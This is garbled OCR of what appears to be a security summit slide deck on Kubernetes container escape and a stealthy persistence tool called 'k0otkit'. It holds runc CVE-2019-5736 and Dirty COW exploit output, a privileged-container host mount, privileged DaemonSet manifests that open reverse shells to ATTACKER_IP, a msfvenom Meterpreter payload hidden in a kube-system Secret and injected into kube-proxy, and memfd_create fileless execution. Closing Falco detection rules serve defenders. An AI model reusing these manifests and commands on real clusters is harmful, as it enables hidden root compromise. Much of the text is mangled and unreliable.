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Kubernetes, also
known as K8s, is
an open-source
system for
automating
deployment,
scaling, and
management of
containerized
appllcations.
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CVE-2019-5736

rambo@matrix: V 0 > $ docker --version
Docker version 18.03.1-ce, build 9ee9f40

rambo@matrix: 019 $ docker-runc --version
runc version 1.0.0-rcS5
commit: 4fc53a81fb7c994640722ac585fa9ca548971871

root@6a545f9¢889d:/# /poc

[+] Overwritten /bin/sh successfully

[+] Found the PID: 28

[+] Successfully got the file handle

[+] Successfully got write handle &{0xc4200a5900}

spec: 1.0.0

rambo@matrix: V 019-5 $ docker ps

CONTAINER ID IMAGE COMMAND CREATED

STATUS PORTS NAMES

60545f9c889d ubuntu "/bin/bash" 2 minutes ago

Up 2 minutes peaceful _tesla

rambo@matrix: V 019-573¢ $ cat main.go | grep 'payload

var payload = "#!/bin/bash \n echo 'hello, host' > /tmp/magic.dat"
writeHandle .Write([Jbyte(payload))

rambo@matrix: v 019 3¢ $ docker c¢p main 6a54:/poc

rambo@matrix: V )19 L $ docker exec -it 6a54 /bin/bash

| KubernetesHfIRRI—RZSEDIE - Bk

i within this container”

CREATED STATUS
16 minute

Up 16 minutes

v host ubuntu /bin/bash
ot to host

shadow | grep rambo

root@6a5459c889d: /# i
IR

® @ ubuntu@Fe3c70110fc3: ~/dirtycow-vdso

ubuntu@fe3c70110fc3:~/dirtycow-vdso$ whoami

ubuntu

ubuntu@fe3c70110fc3:~/dirtycow-vdso$ ./0xdeadbeef 172.18.6.2:10000

[*] payload target: 172.18.0.2:10000

[*] exploit: patch 1/2

[*] vdso successfully backdoored

[*] exploit: patch 2/2

[*] vdso successfully backdoored

[*] waiting for reverse connect shell...

[*] enjoy!

[*] restore: patch 2/2

whoami

root

cat /root/flag

flag{Welcome_2_the_real_world}

ifconfig | head -n 3

br-c042bb325072 Link encap:Ethernet HWaddr ©2:42:a3:b8:c3:9c
inet addr:172.18.6.1 Bcast:0.0.0.0 Mask:255.255.0.0

inet6 addr: fe80::42:a3ff:feb8:c39c/64 Scope:Link

e R

--privileged R

root@)D:/home/rambo# docker ps | grep privileged

b916c45e5059 ubuntu "/bin/bash" 29 hours ago
Up 29 hours no_privileged

3b068bd6212F ubuntu "/bin/bash"” 29 hours ago
Up 29 hours privileged

root@)D: /home/rambo# docker exec b916c45 fdisk 1

root@]D: /home/rambo#

root@)D:/home/rambo# docker exec 3b0@68bd fdisk -1 | tail -n 2

Device Boot Start End Sectors Size Id Type

/dev/vdal * 2048 83886079 83884032 40G 83 Linux
v‘ootJJD'/hﬂc/raw'bo:‘ | |

root@]D:/home/rambo# docker exec -it 3b@68bd /bin/bash
root@3b068bd6212f:/# fdisk -1 | grep /dev/vdal
/dev/vdal * 2048 83886079 83884032 40G 83 Linux
root@3b068bd6212f:/# mkdir /host

root@3b@68bd6212f: /# mount /dev/vdal /host
root@3b068bd6212f:/# chroot /host

# /bin/bash

root@3b068bd6212f:/# cat /etc/passwd | grep rambo
rambo:x:1000:1000:,,, :/home/rambo: /usr/bin/zsh
root@3b068bd6212f: /# |
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Yeah! Mission completed!

g BiR@— 1 W =5 |
[z5&8shell | Mission completed!

Q BirEg— 1 =T <& !
[z5&8shell x2 I Mission completed!
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AR AU Eshell
BliE—"DaemonSet

MRXPrivileged

Host Net/PID Namespace
EHEETIRER
PodifiiTR58shell

apiVersion: apps

kind: DaemonSet
metadata:
name: attacker
spec:
selector:
matchLabels:
app: attac
template:
metadata:
labels:
app: att
spec:
hostNetwor
hostPID: t
containers
- name: ma
image: b
imagePul
command :
args: ["
security
privil
volumeMo
- mountP
name:
volumes:
- name: ho
hostPath
path:
type:

c# MERZEIFMAE
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/vl

ker

acker

k: true

rue

in

ash

1Policy: IfNotPresent
["bash"]

-c", "bash -i >& /dev/tcp/ATTACKER IP/ATTACKER PORT 0>&l1"]

Context:

eged: true

unts:

ath: /host

host-root

st-root
/

Directory




] kOotkit vO0.1 CHZ Rareumixe

Cyber Securi ity Innovation Summit

...........

& MR, RESFGHETRREshell s

8, B Rkubectl getgEBEIBIRERRLI , KO.




I kOotkit v0.2 c# MERZEIFMAE

Cyber Security Innovation Summit

O 7EvO0.1RYEN £, tEimbaikiE
O {§Efkube-systemap3 =g

O XEgRGE , hRIEEZIR

apiversion: apps/vl containers:

kind: DaemonSet - name: main
metadata: image: bash
name: A A]&£tfDaemonSet imagePullPolicy: IfNotPresent
namespace: kube-system command: ["bash"]
spec: args: ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&l1"]
selector: securityContext:
matchLabels: privileged: true
app: A AJEEMapp volumeMounts:
template: - mountPath: /AE2BEHIEEFR
metadata: name: AaEEEHBREZR
labels: volumes:
app: AAEiHJapp - name: AEBENREFR

spec: hostPath:

hostNetwork: true path: /

hostPID: true

type: Directory
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Ev0.209E4 &
. image: image with meterpreter
gTﬁbaSh She”ngeterpreter imagePullPolicy: IfNotPresent
command: [ "bash"]
BDE;ZE § ( Meterp reterljjﬁg args: ["-c", "/meterpreter reverse tcp"]

|ILU|J
it

1B Meterpreterjgfit &z DaemonSett/lFl , BaIE

msfconsole -x "use exploit/multi/handler; set payload linux/x86/meterpreter/reverse tcp; set

LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; run -jz"
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EOF

msfvenom -p linux/x86/meterpreter/reverse tcp LPORT=$ATTACKER PORT LHOST=$ATTACKER IP -f elf

-o STEMP MRT &> /dev/null

PAYLOAD=$ (hexdump -v -e '16/1 " x%02X" "\n"' $TEMP_MRT | sed 's/ /\\/g; s/\\x //g' | tr -d
'\n' | base64 -w 0)

sed "s/PAYLOAD VALUE/$PAYLOAD/g" attacker daemonset template.yaml > attacker daemonset.yaml

name: main
image: bash
imagePullPolicy: IfNotPresent

command: ["bash"]

args: ["-c", "echo -ne $(echo $PAYLOAD | base64 -d) > mrt; chmod u+x mrt; ./mrt"]

env:
— name: PAYLOAD

value: "PAYLOAD VALUE"

Cyber Security Innovation Summit

kubectl apply -f£f
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O 1Ev04p9ERE E , SkASecretRifin EPayload
O Secret@EFRELAMBZER/ T Pod(ER

O Base64ymtd , fEPod N B &fFHY

O BEKSSHIFEAMEEIIMEZRMEE

» ~ kubectl get secret -n kube-system proxy-cache -o yaml
apiVersion: vl

data:

content: NZ2YONTRjNDYwMTAxMDEwMDAwWMDAWMDAWMDAWMDAWMDAWM j AWMDMWMDAXML
XMDAwWMDAwWMDAWMDAWMDAWMT AwMDAWMDAwWMDAWMDAWMDA4MDA@MDgwMDgwMDQwOGNmMDAwW
TM2YTAyYYjA2Njg5ZTFjZDgw0TclYjY4YzBhODEZzZ jM20DAYMDAXMTVJOD11MTZhN3Y10L
2YTA10D11MzMxYz13ZDgwODVJMDc5YmRLYJI3Y jIwN2ISMDAXMDAWMDA40WUzYzF1Y jB]
Dc4MDImZmUxY jgwMTAwWMDAWMGJ 1MDEwWMDAWMDB jZDgw
kind: Secret
metadata:

c# MERZEIFMAE
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cat << EOF | kubectl apply -f -

apivVersion: vl
kind: Secret
metadata:
name: $secret name
namespace: kube-system
type: Opaque
data:

$secret data name: PAYLOAD VALUE BASEG64

EOF
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O 1fEvOo.5pvERHE |, 5
0 BEEEasEEIARIEEFEEDaemonSet PodH
O BiMtsciikubect! edit |, [ ENEEREE

» ~ kubectl get daemonset -n kube-system » ~ kubectl get pods -n kube-system

NAME DESIRED  CURRENT  READY  UP-TO-D/ NAME READY STATUS RESTARTS AGE
ODE SELECTOR AGE coredns-78fcdf6894-cfq7s 1/1 Running 10 214d
kube-flannel-ds-amde4 1 1 1 1 etcd-victim-2 1/1 Running 12 214d
none> 213d kube-apiserver-victim-2 1/1 Running 12 213d
kube-flannel-ds-arm 0 0 0 0 . .

nones 213d kube-controller-manager-victim-2  1/1 Running 14 214d
kube-flannel-ds-arme4 0 0 0 0 kube-flannel-ds-amd64-4bs5w 1/1 Runn}ng 13 213d
nones 213d kube-proxy-vtttf 2/2 Running @ 41s
kube-flannel-ds-ppc6dle 0 0 0 0 kube-scheduler-victim-2 1/1 Running 13 214d
none> 213d

kube-flannel-ds-s390x 0 0 0 0

none> 213d

kube-proxy 1 1 1 1

eta.kubernetes.io/arch=amd64  214d
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# which echo
/bin/echo

# which perl
/usr/bin/perl

» ~ kubectl exec -1t -n kube-system kube-proxy-vtttf -c kube-proxy /bin/sh

echo $payload name | perl -e 'print pack "H*"

$binary file; $binary file

, <STDIN>'

> S$binary file; chmod u+x
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"mkdirat",

"mknod",

TN AEHEEEmemfd _create , DockerZRATSIF mknodat",

"mlock",
"mlock2",
"mlockall"”,

SeccompH &K E

echo $payload name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open(S$SFH, gq(>&=).$fd);

O 7EvO.78yEm E |, BEE

O #IEfERPayload/Rina)RR et
JERERPay el

0 37T , kube-proxyiz{&igittperl

O

select((select($SFH), $|=1)[0]); print $FH pack q/H*/, <STDIN>; my $pid = fork(); if (0 !=
Spid) { wait }; if (0 == $pid){system(qq(/proc/$$/£fd/S$fd))}"
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— list: docker_binaries
items: [docker, dockerd, exe, docker-compose, docker-entrypoi, docker-runc-cur, docker-current, dockerd-current]

- macro: docker_procs
condition: proc.name in (docker_binaries)

- rule: Modify Container Entrypoint (CVE-2019-5736)
desc: Detect file write activities on container entrypoint symlink (/proc/self/exe)
condition: >
open_write and (fd.name=/proc/self/exe or fd.name startswith /proc/self/fd/) and not docker_procs and container
output: >
CVE-2019-5736 %fd.name is open to write by process (%proc.name, %proc.exeline)
priority: WARNING

rule: Modify /lib/x86_64-1inux—gnu/libnss_ (CVE-2019-14271)
desc: Detect file write activities on container's /1ib/x86_64-1inux—gnu/libnss_

condition: >
((evt.type=unlinkat or evt.type=unlink or evt.type=rename or evt.type=renameat)

and evt.arg.newpath startswith /1ib/x86_64-1linux-gnu/libnss_) or
((open_write) and fd.name startswith /1ib/x86_64-1inux—gnu/libnss_)
output: >
CVE-2019-14271 may occur (%evt.type %evt.args)
priority: WARNING

- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
output: >
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container. id
priority: NOTICE
tags: [container, shell, mitre_execution]
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